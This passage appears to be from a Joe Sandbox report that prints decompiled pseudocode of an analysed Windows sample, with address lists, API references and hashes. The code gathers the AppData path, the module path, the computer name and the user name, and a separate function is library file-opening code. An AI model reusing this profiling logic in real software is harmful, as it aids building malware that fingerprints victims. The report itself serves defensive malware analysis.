												_t373 = _v1116;
												if(_t373 < 0x10) {
													L35:
													_v8 = 4;
													_t374 = _v1092;
													if(_t374 < 0x10) {
														L39:
														_v8 = 0;
														_t375 = _v1140;
														_v1096 = 0;
														_v1092 = 0xf;
														_v1112 = 0;
														if(_t375 < 0x10) {
															L43:
															_t245 = E00403E40(_t331, _t428, _t445); // executed
															if(_t245 != 0) {
																L83:
																_t376 = _v1060;
																if(_t376 < 0x10) {
																	L87:
																	 *[fs:0x0] = _v16;
																	_pop(_t446);
																	_pop(_t450);
																	return E0041361E(0, _t331, _v20 ^ _t454, _t428, _t446, _t450);
																} else {
																	_t428 = _v1080;
																	_t381 =  &(_t376->i);
																	_t248 = _v1080;
																	if(_t381 < 0x1000) {
																		L86:
																		_push(_t381);
																		E004138AD(_t428);
																		goto L87;
																	} else {
																		_t416 =  *((intOrPtr*)(_t248 - 4));
																		_t337 =  &(_t381[8]);
																		if(_t248 -  *((intOrPtr*)(_t248 - 4)) + 0xfffffffc > 0x1f) {
																			goto L95;
																		} else {
																			goto L86;
																		}
																	}
																}
															} else {
																GetModuleFileNameA(0,  &_v1052, 0x104);
																_t382 =  &_v1052;
																_t429 = _t382 + 1;
																do {
																	_t254 =  *_t382;
																	_t382 = _t382 + 1;
																} while (_t254 != 0);
																E004080A0(_t331, 0x443abc, _t445,  &_v1052, _t382 - _t429);
																_v1056 = 0xff;
																GetComputerNameA( &_v532,  &_v1056); // executed
																GetUserNameA( &_v276,  &_v1056); // executed
																asm("xorps xmm0, xmm0");
																_v1096 = 0;
																_t385 =  &_v276;
																_v1092 = 0;
																asm("movups [ebp-0x454], xmm0");
																_t430 = _t385 + 1;
																do {
																	_t263 =  *_t385;
																	_t385 = _t385 + 1;
																} while (_t263 != 0);
																_push(_t385 - _t430);
																_push( &_v276);
																E00402830(_t331,  &_v1112, _t430, _t445, _t449);
																_v8 = 6;
																_t388 =  &_v532;
																asm("xorps xmm0, xmm0");
																_v1120 = 0;
																asm("movups [ebp-0x46c], xmm0");
																_v1116 = 0;
																_t431 = _t388 + 1;
																do {
																	_t266 =  *_t388;
																	_t388 = _t388 + 1;
																} while (_t266 != 0);
																_push(_t388 - _t431);
																_push( &_v532);
																E00402830(_t331,  &_v1136, _t431, _t445, _t449);
																_v8 = 7;
																_v1085 = 0;
																_v1088 = 0x17;
																_v1085 = 0;
																_v1087 = 0x5c;
																_v1086 = 0x5c;
																_t272 = E00402530( &_v1136,  &_v1087);
																asm("movups xmm0, [eax]");
																asm("movups [ebp-0x484], xmm0");
																asm("movq xmm0, [eax+0x10]");
																asm("movq [ebp-0x474], xmm0");
																 *(_t272 + 0x10) = 0;
																 *(_t272 + 0x14) = 0xf;
																 *_t272 = 0;
																_v8 = 8;
																E004091A0(_t331,  &_v1184, _t445, _v1056,  &_v1160,  &_v1112);
																E00405C60(_t331, 0x443b04,  &_v1184);
																_t396 = _v1164;
																if(_t396 < 0x10) {
																	L54:
																	_v8 = 7;
																	_t397 = _v1140;
																	if(_t397 < 0x10) {
																		L58:
																		_v8 = 6;
																		_t398 = _v1116;
																		if(_t398 < 0x10) {
																			L62:
																			_v8 = 0;
																			_t399 = _v1092;
																			_v1120 = 0;
																			_v1116 = 0xf;
																			_v1136 = 0;
																			if(_t399 < 0x10) {
																				L66:
																				_t451 =  *0x443acc; // 0x0
																				_t401 =  >=  ?  *0x443ad4 : 0x443ad4;
																				_t428 =  >=  ?  *0x443abc : 0x443abc;
																				_t520 = _t451 -  *0x443ae4; // 0x0
																				if(_t520 != 0) {
																					L82:
																					E00411470(_t331, _t428); // executed
																				} else {
																					_t452 = _t451 - 4;
																					if(_t452 < 0) {
																						L70:
																						if(_t452 == 0xfffffffc) {
																							goto L79;
																						} else {
																							goto L71;
																						}
																					} else {
																						while( *_t428 ==  *_t401) {
																							_t428 = _t428 + 4;
																							_t401 = _t401 + 4;
																							_t452 = _t452 - 4;
																							if(_t452 >= 0) {
																								continue;
																							} else {
																								goto L70;
																							}
																							goto L80;
																						}
																						L71:
																						_t281 =  *_t428;
																						if(_t281 !=  *_t401) {
																							L78:
																							asm("sbb eax, eax");
																							_t279 = _t281 | 0x00000001;
																						} else {
																							if(_t452 == 0xfffffffd) {
																								L79:
																								_t279 = 0;
																							} else {
																								_t173 = _t428 + 1; // 0x0
																								_t281 =  *_t173;
																								_t174 = _t401 + 1; // 0x0
																								if(_t281 !=  *_t174) {
																									goto L78;
																								} else {
																									if(_t452 == 0xfffffffe) {
																										goto L79;
																									} else {
																										_t175 = _t428 + 2; // 0x1a000000
																										_t281 =  *_t175;
																										_t176 = _t401 + 2; // 0x94000000
																										if(_t281 !=  *_t176) {
																											goto L78;
																										} else {
																											if(_t452 == 0xffffffff) {
																												goto L79;
																											} else {
																												_t177 = _t428 + 3; // 0x6a1a0000
																												_t281 =  *_t177;
																												_t178 = _t401 + 3; // 0x6a940000
																												if(_t281 ==  *_t178) {
																													goto L79;
																												} else {
																													goto L78;
																												}
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																					L80:
																					if(_t279 != 0) {
																						goto L82;
																					} else {
																						E00403B40(_t331, _t428, _t445);
																						E00409B10();
																					}
																				}
																				goto L83;
																			} else {
																				_t434 = _v1112;
																				_t402 =  &(_t399->i);
																				_t283 = _v1112;
																				if(_t402 < 0x1000) {
																					L65:
																					_push(_t402);
																					E004138AD(_t434);
																					_t460 = _t460 + 8;
																					goto L66;
																				} else {
																					_t416 =  *((intOrPtr*)(_t283 - 4));
																					_t337 =  &(_t402[8]);
																					if(_t283 -  *((intOrPtr*)(_t283 - 4)) + 0xfffffffc > 0x1f) {
																						goto L94;
																					} else {
																						goto L65;
																					}
																				}
																			}
																		} else {
																			_t435 = _v1136;
																			_t403 =  &(_t398->i);
																			_t287 = _v1136;
																			if(_t403 < 0x1000) {
																				L61:
																				_push(_t403);
																				E004138AD(_t435);
																				_t460 = _t460 + 8;
																				goto L62;
																			} else {
																				_t416 =  *((intOrPtr*)(_t287 - 4));
																				_t337 = _t403 + 0x23;
																				if(_t287 -  *((intOrPtr*)(_t287 - 4)) + 0xfffffffc > 0x1f) {
																					goto L94;
																				} else {
																					goto L61;
																				}
																			}
																		}
																	} else {
																		_t436 = _v1160;
																		_t404 = _t397 + 1;
																		_t291 = _v1160;
																		if(_t404 < 0x1000) {
																			L57:
																			_push(_t404);
																			E004138AD(_t436);
																			_t460 = _t460 + 8;
																			goto L58;
																		} else {
																			_t416 =  *((intOrPtr*)(_t291 - 4));
																			_t337 = _t404 + 0x23;
																			if(_t291 -  *((intOrPtr*)(_t291 - 4)) + 0xfffffffc > 0x1f) {
																				goto L94;
																			} else {
																				goto L57;
																			}
																		}
																	}
																} else {
																	_t437 = _v1184;
																	_t405 = _t396 + 1;
																	_t295 = _v1184;
																	if(_t405 < 0x1000) {
																		L53:
																		_push(_t405);
																		E004138AD(_t437);
																		_t460 = _t460 + 8;
																		goto L54;
																	} else {
																		_t416 =  *((intOrPtr*)(_t295 - 4));
																		_t337 = _t405 + 0x23;
																		if(_t295 -  *((intOrPtr*)(_t295 - 4)) + 0xfffffffc > 0x1f) {
																			goto L94;
																		} else {
																			goto L53;
																		}
																	}
																}
															}
														} else {
															_t428 = _v1160;
															_t406 = _t375 + 1;
															_t299 = _v1160;
															if(_t406 < 0x1000) {
																L42:
																_push(_t406);
																E004138AD(_t428);
																_t460 = _t460 + 8; // executed
																goto L43;
															} else {
																_t416 =  *((intOrPtr*)(_t299 - 4));
																_t337 = _t406 + 0x23;
																if(_t299 -  *((intOrPtr*)(_t299 - 4)) + 0xfffffffc > 0x1f) {
																	goto L93;
																} else {
																	goto L42;
																}
															}
														}
													} else {
														_t428 = _v1112;
														_t407 =  &(_t374->i);
														_t303 = _v1112;
														if(_t407 < 0x1000) {
															L38:
															_push(_t407);
															E004138AD(_t428);
															_t460 = _t460 + 8;
															goto L39;
														} else {
															_t416 =  *((intOrPtr*)(_t303 - 4));
															_t337 = _t407 + 0x23;
															if(_t303 -  *((intOrPtr*)(_t303 - 4)) + 0xfffffffc > 0x1f) {
																goto L93;
															} else {
																goto L38;
															}
														}
													}
												} else {
													_t428 = _v1136;
													_t408 =  &(_t373->i);
													_t307 = _v1136;
													if(_t408 < 0x1000) {
														L34:
														_push(_t408);
														E004138AD(_t428);
														_t460 = _t460 + 8;
														goto L35;
													} else {
														_t416 =  *((intOrPtr*)(_t307 - 4));
														_t337 = _t408 + 0x23;
														if(_t307 -  *((intOrPtr*)(_t307 - 4)) + 0xfffffffc > 0x1f) {
															goto L93;
														} else {
															goto L34;
														}
													}
												}
											}
										} else {
											_t438 = _v1160;
											_t409 = _t359 + 1;
											_t311 = _v1160;
											if(_t409 < 0x1000) {
												L27:
												_push(_t409);
												E004138AD(_t438);
												_t459 = _t459 + 8;
												goto L28;
											} else {
												_t416 =  *((intOrPtr*)(_t311 - 4));
												_t337 = _t409 + 0x23;
												if(_t311 -  *((intOrPtr*)(_t311 - 4)) + 0xfffffffc > 0x1f) {
													goto L91;
												} else {
													goto L27;
												}
											}
										}
									} else {
										_t439 = _v1112;
										_t410 =  &(_t358->i);
										_t315 = _v1112;
										if(_t410 < 0x1000) {
											L23:
											_push(_t410);
											E004138AD(_t439);
											_t459 = _t459 + 8;
											goto L24;
										} else {
											_t416 =  *((intOrPtr*)(_t315 - 4));
											_t337 = _t410 + 0x23;
											if(_t315 -  *((intOrPtr*)(_t315 - 4)) + 0xfffffffc > 0x1f) {
												goto L91;
											} else {
												goto L23;
											}
										}
									}
								} else {
									_t440 = _v1136;
									_t411 =  &(_t357->i);
									_t319 = _v1136;
									if(_t411 < 0x1000) {
										L19:
										_push(_t411);
										E004138AD(_t440);
										_t459 = _t459 + 8;
										goto L20;
									} else {
										_t416 =  *((intOrPtr*)(_t319 - 4));
										_t337 = _t411 + 0x23;
										if(_t319 -  *((intOrPtr*)(_t319 - 4)) + 0xfffffffc > 0x1f) {
											goto L91;
										} else {
											goto L19;
										}
									}
								}
							}
						} else {
							_t441 = _v1160;
							_t412 = _t343 + 1;
							_t323 = _v1160;
							if(_t412 < 0x1000) {
								L12:
								_push(_t412);
								E004138AD(_t441);
								_t458 = _t458 + 8;
								goto L13;
							} else {
								_t416 =  *((intOrPtr*)(_t323 - 4));
								_t337 = _t412 + 0x23;
								if(_t323 -  *((intOrPtr*)(_t323 - 4)) + 0xfffffffc > 0x1f) {
									goto L89;
								} else {
									goto L12;
								}
							}
						}
					} else {
						_t442 = _v1112;
						_t413 =  &(_t342->i);
						_t327 = _v1112;
						if(_t413 < 0x1000) {
							L8:
							_push(_t413);
							E004138AD(_t442);
							_t458 = _t458 + 8;
							goto L9;
						} else {
							_t416 =  *((intOrPtr*)(_t327 - 4));
							_t337 = _t413 + 0x23;
							if(_t327 -  *((intOrPtr*)(_t327 - 4)) + 0xfffffffc > 0x1f) {
								L89:
								E0041805F(_t331, _t337, _t416);
								L90:
								E00401BD0(_t331, _t337, _t416);
								L91:
								E0041805F(_t331, _t337, _t416);
								L92:
								E00401BD0(_t331, _t337, _t416);
								L93:
								E0041805F(_t331, _t337, _t416);
								L94:
								E0041805F(_t331, _t337, _t416);
								L95:
								E0041805F(_t331, _t337, _t416);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t337 - 0x18)) + 4)) + _t337 - 0x18)) = 0x43ea88;
								_t189 =  *((intOrPtr*)(_t337 - 0x18)) + 4; // 0x43fa70
								_t190 =  *_t189 - 0x18; // 0x43fa58
								_t217 = _t190;
								 *((intOrPtr*)( *_t189 + _t337 - 0x1c)) = _t217;
								return _t217;
							} else {
								goto L8;
							}
						}
					}
				}
			}

0x004041d0
0x004041d1
0x004041e1
0x004041e7
0x004041ec
0x004041ee
0x004041f7
0x0040420c
0x00404212
0x00404215
0x0040421f
0x00404225
0x0040422f
0x00404236
0x00404240
0x00404240
0x00404242
0x00404243
0x0040424f
0x00404250
0x00404257
0x0040425e
0x00404267
0x0040426f
0x00404276
0x0040427c
0x00404282
0x00404289
0x00404290
0x00404290
0x00404292
0x00404293
0x0040429c
0x0040429e
0x004042aa
0x00404b24
0x00000000
0x004042b0
0x004042be
0x004042db
0x004042eb
0x004042f5
0x004042fa
0x00404303
0x00404308
0x00404311
0x00404342
0x00404342
0x00404346
0x0040434c
0x00404356
0x00404360
0x0040436a
0x0040439b
0x0040439b
0x004043a5
0x004043ad
0x004043b4
0x004043ba
0x004043c0
0x004043c7
0x004043ca
0x004043d0
0x004043d0
0x004043d2
0x004043d3
0x004043d9
0x004043df
0x00000000
0x004043e5
0x004043f2
0x0040440f
0x0040441f
0x00404429
0x0040442e
0x00404431
0x00404437
0x00404448
0x00404456
0x00404458
0x00404461
0x00404467
0x00404469
0x00404475
0x0040447e
0x00404485
0x0040448f
0x00404492
0x00404499
0x0040449e
0x004044a5
0x004044ac
0x004044b6
0x004044be
0x004044c3
0x004044cc
0x004044fd
0x004044fd
0x00404501
0x0040450a
0x0040453b
0x0040453b
0x0040453f
0x00404545
0x0040454f
0x00404559
0x00404563
0x00404594
0x00404594
0x0040459e
0x004045a6
0x004045ad
0x004045b3
0x004045b9
0x004045c0
0x004045c3
0x004045c3
0x004045c5
0x004045c6
0x004045ca
0x004045cc
0x004045d0
0x00000000
0x004045d6
0x004045e3
0x00404600
0x00404610
0x0040461a
0x0040461f
0x00404622
0x00404628
0x00404639
0x00404647
0x00404649
0x00404652
0x00404658
0x0040465a
0x00404666
0x0040466f
0x00404676
0x00404680
0x00404683
0x0040468a
0x0040468f
0x00404696
0x0040469d
0x004046a7
0x004046af
0x004046b4
0x004046bd
0x004046ee
0x004046ee
0x004046f2
0x004046fb
0x0040472c
0x0040472c
0x00404730
0x00404736
0x00404740
0x0040474a
0x00404754
0x00404785
0x00404785
0x0040478c
0x00404ad1
0x00404ad1
0x00404ada
0x00404b07
0x00404b0c
0x00404b14
0x00404b15
0x00404b23
0x00404adc
0x00404adc
0x00404ae2
0x00404ae3
0x00404aeb
0x00404afd
0x00404afd
0x00404aff
0x00000000
0x00404aed
0x00404aed
0x00404af0
0x00404afb
0x00000000
0x00000000
0x00000000
0x00000000
0x00404afb
0x00404aeb
0x00404792
0x004047a0
0x004047a6
0x004047ac
0x004047b0
0x004047b0
0x004047b2
0x004047b3
0x004047c6
0x004047d1
0x004047e3
0x004047f7
0x004047fd
0x00404800
0x0040480a
0x00404810
0x0040481a
0x00404821
0x00404824
0x00404824
0x00404826
0x00404827
0x00404833
0x00404834
0x0040483b
0x00404840
0x00404844
0x0040484a
0x0040484d
0x00404857
0x0040485e
0x00404868
0x00404870
0x00404870
0x00404872
0x00404873
0x0040487f
0x00404880
0x00404887
0x0040488e
0x00404894
0x0040489d
0x004048a5
0x004048ae
0x004048ba
0x004048c7
0x004048cc
0x004048cf
0x004048d6
0x004048db
0x004048e3
0x004048ea
0x004048f1
0x004048fa
0x00404912
0x00404923
0x00404928
0x00404931
0x00404962
0x00404962
0x00404966
0x0040496f
0x004049a0
0x004049a0
0x004049a4
0x004049ad
0x004049de
0x004049de
0x004049e2
0x004049e8
0x004049f2
0x004049fc
0x00404a06
0x00404a37
0x00404a43
0x00404a4e
0x00404a5c
0x00404a63
0x00404a69
0x00404acc
0x00404acc
0x00404a6b
0x00404a6b
0x00404a6e
0x00404a81
0x00404a84
0x00000000
0x00000000
0x00000000
0x00000000
0x00404a70
0x00404a70
0x00404a76
0x00404a79
0x00404a7c
0x00404a7f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404a7f
0x00404a86
0x00404a86
0x00404a8a
0x00404ab3
0x00404ab3
0x00404ab5
0x00404a8c
0x00404a8f
0x00404aba
0x00404aba
0x00404a91
0x00404a91
0x00404a91
0x00404a94
0x00404a97
0x00000000
0x00404a99
0x00404a9c
0x00000000
0x00404a9e
0x00404a9e
0x00404a9e
0x00404aa1
0x00404aa4
0x00000000
0x00404aa6
0x00404aa9
0x00000000
0x00404aab
0x00404aab
0x00404aab
0x00404aae
0x00404ab1
0x00000000
0x00000000
0x00000000
0x00000000
0x00404ab1
0x00404aa9
0x00404aa4
0x00404a9c
0x00404a97
0x00404a8f
0x00404a8a
0x00404abc
0x00404abe
0x00000000
0x00404ac0
0x00404ac0
0x00404ac5
0x00404ac5
0x00404abe
0x00000000
0x00404a08
0x00404a08
0x00404a0e
0x00404a0f
0x00404a17
0x00404a2d
0x00404a2d
0x00404a2f
0x00404a34
0x00000000
0x00404a19
0x00404a19
0x00404a1c
0x00404a27
0x00000000
0x00000000
0x00000000
0x00000000
0x00404a27
0x00404a17
0x004049af
0x004049af
0x004049b5
0x004049b6
0x004049be
0x004049d4
0x004049d4
0x004049d6
0x004049db
0x00000000
0x004049c0
0x004049c0
0x004049c3
0x004049ce
0x00000000
0x00000000
0x00000000
0x00000000
0x004049ce
0x004049be
0x00404971
0x00404971
0x00404977
0x00404978
0x00404980
0x00404996
0x00404996
0x00404998
0x0040499d
0x00000000
0x00404982
0x00404982
0x00404985
0x00404990
0x00000000
0x00000000
0x00000000
0x00000000
0x00404990
0x00404980
0x00404933
0x00404933
0x00404939
0x0040493a
0x00404942
0x00404958
0x00404958
0x0040495a
0x0040495f
0x00000000
0x00404944
0x00404944
0x00404947
0x00404952
0x00000000
0x00000000
0x00000000
0x00000000
0x00404952
0x00404942
0x00404931
0x00404756
0x00404756
0x0040475c
0x0040475d
0x00404765
0x0040477b
0x0040477b
0x0040477d
0x00404782
0x00000000
0x00404767
0x00404767
0x0040476a
0x00404775
0x00000000
0x00000000
0x00000000
0x00000000
0x00404775
0x00404765
0x004046fd
0x004046fd
0x00404703
0x00404704
0x0040470c
0x00404722
0x00404722
0x00404724
0x00404729
0x00000000
0x0040470e
0x0040470e
0x00404711
0x0040471c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040471c
0x0040470c
0x004046bf
0x004046bf
0x004046c5
0x004046c6
0x004046ce
0x004046e4
0x004046e4
0x004046e6
0x004046eb
0x00000000
0x004046d0
0x004046d0
0x004046d3
0x004046de
0x00000000
0x00000000
0x00000000
0x00000000
0x004046de
0x004046ce
0x004046bd
0x00404565
0x00404565
0x0040456b
0x0040456c
0x00404574
0x0040458a
0x0040458a
0x0040458c
0x00404591
0x00000000
0x00404576
0x00404576
0x00404579
0x00404584
0x00000000
0x00000000
0x00000000
0x00000000
0x00404584
0x00404574
0x0040450c
0x0040450c
0x00404512
0x00404513
0x0040451b
0x00404531
0x00404531
0x00404533
0x00404538
0x00000000
0x0040451d
0x0040451d
0x00404520
0x0040452b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040452b
0x0040451b
0x004044ce
0x004044ce
0x004044d4
0x004044d5
0x004044dd
0x004044f3
0x004044f3
0x004044f5
0x004044fa
0x00000000
0x004044df
0x004044df
0x004044e2
0x004044ed
0x00000000
0x00000000
0x00000000
0x00000000
0x004044ed
0x004044dd
0x004044cc
0x0040436c
0x0040436c
0x00404372
0x00404373
0x0040437b
0x00404391
0x00404391
0x00404393
0x00404398
0x00000000
0x0040437d
0x0040437d
0x00404380
0x0040438b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040438b
0x0040437b
0x00404313
0x00404313
0x00404319
0x0040431a
0x00404322
0x00404338
0x00404338
0x0040433a
0x0040433f
0x00000000
0x00404324
0x00404324
0x00404327
0x00404332
0x00404b29
0x00404b29
0x00404b2e
0x00404b2e
0x00404b33
0x00404b33
0x00404b38
0x00404b38
0x00404b3d
0x00404b3d
0x00404b42
0x00404b42
0x00404b47
0x00404b47
0x00404b4c
0x00404b4d
0x00404b4e
0x00404b4f
0x00404b56
0x00404b61
0x00404b64
0x00404b64
0x00404b67
0x00404b6b
0x00000000
0x00000000
0x00000000
0x00404332
0x00404322
0x00404311

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,7239E5FC), ref: 0040420C
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,00000000), ref: 004047A0
GetComputerNameA.KERNEL32(?,?), ref: 004047E3
GetUserNameA.ADVAPI32(?,000000FF), ref: 004047F7

Strings

H, xrefs: 00404437

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: Name$ComputerFileFolderModulePathUser
String ID: H
API String ID: 1270763117-2852464175
Opcode ID: 2ef804ab9626ff62bdaef6caddefa6f5a3d2f065316b7c453b9588f158b81ea4
Instruction ID: bcccf27192deba0bf1db5f30995bc09525aaf02faf2ce9dda9fcf5923b5ff05b
Opcode Fuzzy Hash: 2ef804ab9626ff62bdaef6caddefa6f5a3d2f065316b7c453b9588f158b81ea4
Instruction Fuzzy Hash: 6242F3B19001588BDB18CB28CD947EDBB75AB82304F5482E9E249772C2D7386BC9CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042E727 Relevance: 13.8, APIs: 9, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 38%

			E0042E727(void* __ecx, void* __eflags, intOrPtr* _a4, signed int* _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v5;
				void* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				intOrPtr _v40;
				signed int _v48;
				void _v52;
				char _v76;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t114;
				void* _t122;
				signed int _t123;
				signed char _t124;
				signed int _t134;
				intOrPtr _t162;
				intOrPtr _t178;
				void* _t188;
				signed int* _t189;
				signed int _t191;
				signed int _t196;
				signed int _t202;
				signed int _t205;
				signed int _t214;
				signed int _t216;
				signed int _t218;
				signed int _t224;
				signed int _t226;
				signed int _t233;
				signed int _t234;
				signed int _t236;
				signed int _t238;
				signed char _t241;
				signed int _t242;
				intOrPtr _t246;
				void* _t249;
				void* _t253;
				void* _t263;
				signed int _t264;
				signed int _t267;
				signed int _t268;
				signed int _t271;
				void* _t273;
				void* _t275;
				void* _t276;
				void* _t278;
				void* _t279;
				void* _t281;
				void* _t285;

				_t263 = E0042E475(__ecx,  &_v76, _a16, _a20, _a24);
				_t191 = 6;
				memcpy( &_v52, _t263, _t191 << 2);
				_t275 = _t273 + 0x1c;
				_t249 = _t263 + _t191 + _t191;
				_t264 = _t263 | 0xffffffff;
				if(_v40 != _t264) {
					_t114 = E00429762(_t188, _t249, _t264, __eflags);
					_t189 = _a8;
					 *_t189 = _t114;
					__eflags = _t114 - _t264;
					if(_t114 != _t264) {
						_v24 = _v24 & 0x00000000;
						_v28 = 0xc;
						_t276 = _t275 - 0x18;
						 *_a4 = 1;
						_push(6);
						_v20 =  !(_a16 >> 7) & 1;
						_push( &_v28);
						_push(_a12);
						memcpy(_t276,  &_v52, 1 << 2);
						_t196 = 0;
						_t122 = E0042E3E0(); // executed
						_t253 = _t122;
						_t278 = _t276 + 0x2c;
						_v12 = _t253;
						__eflags = _t253 - 0xffffffff;
						if(_t253 != 0xffffffff) {
							L11:
							_t123 = GetFileType(_t253); // executed
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t123 - 2;
								if(_t123 != 2) {
									__eflags = _t123 - 3;
									_t124 = _v52;
									if(_t123 == 3) {
										_t124 = _t124 | 0x00000008;
										__eflags = _t124;
									}
								} else {
									_t124 = _v52 | 0x00000040;
								}
								_v5 = _t124;
								E004296AD(_t196,  *_t189, _t253);
								_t241 = _v5 | 0x00000001;
								_v16 = _t241;
								_v52 = _t241;
								 *( *((intOrPtr*)(0x444b30 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) = _t241;
								_t202 =  *_t189;
								_t204 = (_t202 & 0x0000003f) * 0x38;
								__eflags = _a16 & 0x00000002;
								 *((char*)( *((intOrPtr*)(0x444b30 + (_t202 >> 6) * 4)) + 0x29 + (_t202 & 0x0000003f) * 0x38)) = 0;
								if((_a16 & 0x00000002) == 0) {
									L22:
									_v5 = 0;
									_push( &_v5);
									_push(_a16);
									_t279 = _t278 - 0x18;
									_t205 = 6;
									_push( *_t189);
									memcpy(_t279,  &_v52, _t205 << 2);
									_t134 = E0042E192(_t189,  &_v52 + _t205 + _t205,  &_v52);
									_t242 =  *_t189;
									_t267 = _t134;
									_t281 = _t279 + 0x30;
									__eflags = _t267;
									if(_t267 == 0) {
										 *((char*)( *((intOrPtr*)(0x444b30 + (_t242 >> 6) * 4)) + 0x29 + (_t242 & 0x0000003f) * 0x38)) = _v5;
										 *( *((intOrPtr*)(0x444b30 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x444b30 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38) ^ (_a16 >> 0x00000010 ^  *( *((intOrPtr*)(0x444b30 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38)) & 0x00000001;
										__eflags = _v16 & 0x00000048;
										if((_v16 & 0x00000048) == 0) {
											__eflags = _a16 & 0x00000008;
											if((_a16 & 0x00000008) != 0) {
												_t224 =  *_t189;
												_t226 = (_t224 & 0x0000003f) * 0x38;
												_t162 =  *((intOrPtr*)(0x444b30 + (_t224 >> 6) * 4));
												_t87 = _t162 + _t226 + 0x28;
												 *_t87 =  *(_t162 + _t226 + 0x28) | 0x00000020;
												__eflags =  *_t87;
											}
										}
										_t268 = _v48;
										__eflags = (_t268 & 0xc0000000) - 0xc0000000;
										if((_t268 & 0xc0000000) != 0xc0000000) {
											L32:
											__eflags = 0;
											return 0;
										} else {
											__eflags = _a16 & 0x00000001;
											if((_a16 & 0x00000001) == 0) {
												goto L32;
											}
											CloseHandle(_v12);
											_v48 = _t268 & 0x7fffffff;
											_t214 = 6;
											_push( &_v28);
											_push(_a12);
											memcpy(_t281 - 0x18,  &_v52, _t214 << 2);
											_t246 = E0042E3E0();
											__eflags = _t246 - 0xffffffff;
											if(_t246 != 0xffffffff) {
												_t216 =  *_t189;
												_t218 = (_t216 & 0x0000003f) * 0x38;
												__eflags = _t218;
												 *((intOrPtr*)( *((intOrPtr*)(0x444b30 + (_t216 >> 6) * 4)) + _t218 + 0x18)) = _t246;
												goto L32;
											}
											E0041C9F9(GetLastError());
											 *( *((intOrPtr*)(0x444b30 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x444b30 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) & 0x000000fe;
											E00429875( *_t189);
											L10:
											goto L2;
										}
									}
									_push(_t242);
									goto L21;
								} else {
									_t267 = E0042E5EF(_t204,  *_t189);
									__eflags = _t267;
									if(_t267 == 0) {
										goto L22;
									}
									_push( *_t189);
									L21:
									E00421AC3();
									return _t267;
								}
							}
							_t271 = GetLastError();
							E0041C9F9(_t271);
							 *( *((intOrPtr*)(0x444b30 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x444b30 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) & 0x000000fe;
							CloseHandle(_t253);
							__eflags = _t271;
							if(_t271 == 0) {
								 *((intOrPtr*)(E0041CA53())) = 0xd;
							}
							goto L2;
						}
						_t233 = _v48;
						__eflags = (_t233 & 0xc0000000) - 0xc0000000;
						if((_t233 & 0xc0000000) != 0xc0000000) {
							L9:
							_t234 =  *_t189;
							_t236 = (_t234 & 0x0000003f) * 0x38;
							_t178 =  *((intOrPtr*)(0x444b30 + (_t234 >> 6) * 4));
							_t33 = _t178 + _t236 + 0x28;
							 *_t33 =  *(_t178 + _t236 + 0x28) & 0x000000fe;
							__eflags =  *_t33;
							E0041C9F9(GetLastError());
							goto L10;
						}
						__eflags = _a16 & 0x00000001;
						if((_a16 & 0x00000001) == 0) {
							goto L9;
						}
						_t285 = _t278 - 0x18;
						_v48 = _t233 & 0x7fffffff;
						_t238 = 6;
						_push( &_v28);
						_push(_a12);
						memcpy(_t285,  &_v52, _t238 << 2);
						_t196 = 0;
						_t253 = E0042E3E0();
						_t278 = _t285 + 0x2c;
						_v12 = _t253;
						__eflags = _t253 - 0xffffffff;
						if(_t253 != 0xffffffff) {
							goto L11;
						}
						goto L9;
					} else {
						 *(E0041CA40()) =  *_t184 & 0x00000000;
						 *_t189 = _t264;
						 *((intOrPtr*)(E0041CA53())) = 0x18;
						goto L2;
					}
				} else {
					 *(E0041CA40()) =  *_t186 & 0x00000000;
					 *_a8 = _t264;
					L2:
					return  *((intOrPtr*)(E0041CA53()));
				}
			}

0x0042e74a
0x0042e74e
0x0042e74f
0x0042e74f
0x0042e74f
0x0042e751
0x0042e757
0x0042e772
0x0042e777
0x0042e77a
0x0042e77c
0x0042e77e
0x0042e79d
0x0042e7a4
0x0042e7ab
0x0042e7ae
0x0042e7ba
0x0042e7bd
0x0042e7c5
0x0042e7c6
0x0042e7c9
0x0042e7c9
0x0042e7cb
0x0042e7d0
0x0042e7d2
0x0042e7d5
0x0042e7dd
0x0042e7e0
0x0042e84d
0x0042e84e
0x0042e854
0x0042e856
0x0042e89f
0x0042e8a2
0x0042e8ab
0x0042e8ae
0x0042e8b1
0x0042e8b3
0x0042e8b3
0x0042e8b3
0x0042e8a4
0x0042e8a7
0x0042e8a7
0x0042e8b8
0x0042e8bb
0x0042e8c7
0x0042e8cc
0x0042e8d8
0x0042e8e2
0x0042e8e6
0x0042e8f0
0x0042e8f3
0x0042e8fe
0x0042e903
0x0042e922
